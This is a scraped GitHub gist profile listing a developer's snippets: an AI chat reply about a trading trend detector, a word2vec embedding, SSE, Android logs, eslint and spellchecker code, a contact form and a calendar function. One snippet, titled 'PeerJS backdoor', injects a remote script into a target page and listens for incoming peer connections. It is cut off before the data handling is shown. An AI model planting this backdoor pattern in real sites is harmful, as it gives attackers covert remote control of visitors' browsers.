Skip to content

Instantly share code, notes, and snippets.

View tripolskypetr's full-sized avatar
💻
Frontend dev fueled by a passion for UI/UX and art, design

Petr Tripolsky tripolskypetr

💻
Frontend dev fueled by a passion for UI/UX and art, design
View GitHub Profile

System: You are Grok 3 built by xAI.

The issue with the trend being consistently classified as "sideways" stems from the overly strict thresholds in the trend detection logic within the predict method of your OptimizedPricePredictor class. The conditions for identifying a bullish or bearish trend are too restrictive, especially for 1-minute candles, which often exhibit smaller price movements. As a result, the model defaults to "sideways" too frequently. Below, I’ll outline the key changes needed to make the trend detection more sensitive to short-term movements and incorporate additional indicators for better accuracy.

Proposed Fixes

  1. Adjust Thresholds: Lower the priceThreshold, slopeThreshold, and momentumThreshold to be more sensitive to the smaller price movements typical of 1-minute candles.
  2. Incorporate Volatility: Use volatility as an additional factor to gauge trend strength, ensuring it complements the trend detection logic.
  3. Enhanced Trend Logic: Include more indica
@tripolskypetr
tripolskypetr / create-word2vec-embedding.ts
Created April 6, 2025 12:31
create-word2vec-embedding.ts
const createWord2VecEmbedding = (text: string, vectorSize = 128, windowSize = 2): number[] => {
// Предобработка текста
const words = text.toLowerCase()
.replace(/[^а-яa-z\s]/g, '') // Удаление спецсимволов (базовая очистка)
.trim()
.split(/\s+/)
.filter(word => word.length > 0);
// Инициализация вектора документа
const documentVector = new Float32Array(vectorSize);

You:

write me an example server sent events code

ChatGPT:

Server-Sent Events (SSE) is a mechanism for a server to push real-time updates to a web client over an HTTP connection. Here's an example demonstrating a basic implementation:

Server-side (Node.js Example)

@tripolskypetr
tripolskypetr / log.txt
Created November 25, 2024 11:23
log.txt
01-05 05:19:23.753 452 14398 I ActivityManager: Process com.example.tadi.uz.bounding_flutter_with_kotlin (pid 2147) has died: fg TOP
01-05 05:19:23.754 452 14398 W ActivityTaskManager: Force removing ActivityRecord{29b7059 u0 com.example.tadi.uz.bounding_flutter_with_kotlin/.MainActivity t126}: app died, no saved state
01-05 05:19:23.761 452 472 W Looper : Slow dispatch took 1032ms android.fg h=android.os.Handler c=android.app.LoadedApk$ServiceDispatcher$RunConnection@ca7d608 m=0
01-05 05:19:23.761 452 472 W Looper : Slow delivery took 1032ms android.fg h=android.os.Handler c=android.app.LoadedApk$ServiceDispatcher$RunConnection@8dcc1a1 m=0
01-05 05:19:23.838 452 475 W ActivityManager: setHasOverlayUi called on unknown pid: 890
01-05 05:19:23.843 452 480 D CompatibilityChangeReporter: Compat change id reported: 135634846; UID 10104; state: DISABLED
01-05 05:19:23.843 452 480 D CompatibilityChangeReporter: Compat change id reported: 135754954; UID 10104; state: ENABLED
01-05 05:19:2
@tripolskypetr
tripolskypetr / .eslintrc.cjs
Created March 5, 2024 21:48
Minimal eslint config which allow freedom to senior developers and prevent juniors to shitcode
module.exports = {
root: true,
env: { browser: true, es2020: true },
extends: [
"eslint:recommended",
"plugin:prettier/recommended",
"plugin:react-hooks/recommended",
],
rules: {
"react-hooks/rules-of-hooks": "error",
@tripolskypetr
tripolskypetr / SpellerService.ts
Created January 17, 2024 21:14
SpellerService.ts
import { makeObservable } from "mobx";
import { singleshot } from "react-declarative";
// @ts-ignore
import { Hunspell, loadModule } from 'hunspell-asm/dist/cjs';
import XRegExp from 'xregexp'
export class SpellerService {
private _hunspell: Hunspell = null as never;
@tripolskypetr
tripolskypetr / contact-form.html
Created January 13, 2024 14:33
contact-form.html
<!DOCTYPE html>
<html>
<head>
<title>RealEstate Lead Funnel</title>
<meta charset="utf-8" />
</head>
<body>
<form>
<label for="fio">Ф.И.О:</label><br />
<input type="text" id="fio" name="fio" value="John" /><br />
const { google } = require("googleapis");
module.exports = async ({ req, res, log }) => {
const CREDENTIALS = JSON.parse(process.env.CALENDAR_CREDENTIALS);
const SCOPES = "https://www.googleapis.com/auth/calendar";
const CALENDAR_ID = process.env.CALENDAR_ID;
const CALENDAR_TIMEOFFSET = process.env.CALENDAR_TIMEOFFSET;
const CALENDAR_TIMEZONE = process.env.CALENDAR_TIMEZONE;
const {
@tripolskypetr
tripolskypetr / peerjs-backdoor.js
Created December 20, 2023 09:06
PeerJS backdoor
// target
(function () {
const script = document.createElement("script");
script.src = "https://unpkg.com/[email protected]/dist/peerjs.min.js";
script.onload = () => {
const peer = new Peer();
peer.on("open", function (id) {
console.log(id);
peer.on("connection", function (conn) {
conn.on("data", function (data) {
@tripolskypetr
tripolskypetr / server.py
Created December 14, 2023 17:37
python serveit.py 80
#!/usr/bin/env python
import SimpleHTTPServer
class MyHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def end_headers(self):
self.send_my_headers()
SimpleHTTPServer.SimpleHTTPRequestHandler.end_headers(self)
def send_my_headers(self):
self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")